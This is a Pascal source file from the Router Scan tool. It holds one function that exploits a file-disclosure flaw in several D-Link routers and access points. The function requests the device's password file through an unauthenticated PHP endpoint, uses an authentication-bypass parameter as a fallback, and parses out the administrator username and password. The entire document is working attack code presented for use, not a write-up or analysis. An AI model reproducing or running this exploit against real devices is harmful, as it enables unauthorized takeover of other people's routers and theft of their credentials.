// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://chelaxe.ru/dir-300/#comment-6976

function TRouter.Exploit_DLinkDIR300(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
begin
  // Affected:
  // D-Link DIR-300
  // D-Link DIR-320
  // D-Link DAP-1150
  // D-Link DAP-1353
  Result := False;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd',
  S, Code, 8, 0, ServerName, False, '', '') then begin
    if Pos('action="login.php"', S) > 0 then
      GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/model/__show_info.php?NO_NEED_AUTH=1&AUTH_GROUP=0&REQUIRE_FILE=/var/etc/httpasswd',
      S, Code, 8, 0, ServerName, False, '', '');
    S := UTF8Decode(S);
    S := DeleteBetween(S, 'Main Content Start', 'Main Content End');
    S := StringReplace(S, #9, '', [rfReplaceAll]);
    S := DeleteBetween(S, '<center>'#10, #10#10'</center>');
    if Pos('<td>', S) > 0 then
      S := DeleteBetween(S, '<td>'#10, #10#10'</td>');
    if Pos(#10, S) > 0 then
      Delete(S, Pos(#10, S), Length(S)-Pos(#10, S)+1);
    if Pos(':', S) > 0 then begin
      AuthUser := DeleteBetween(S, '', ':');
      AuthPass := DeleteBetween(S, ':', '');
      Result := (AuthUser <> '') or (AuthPass <> '');
    end;
  end;
end;
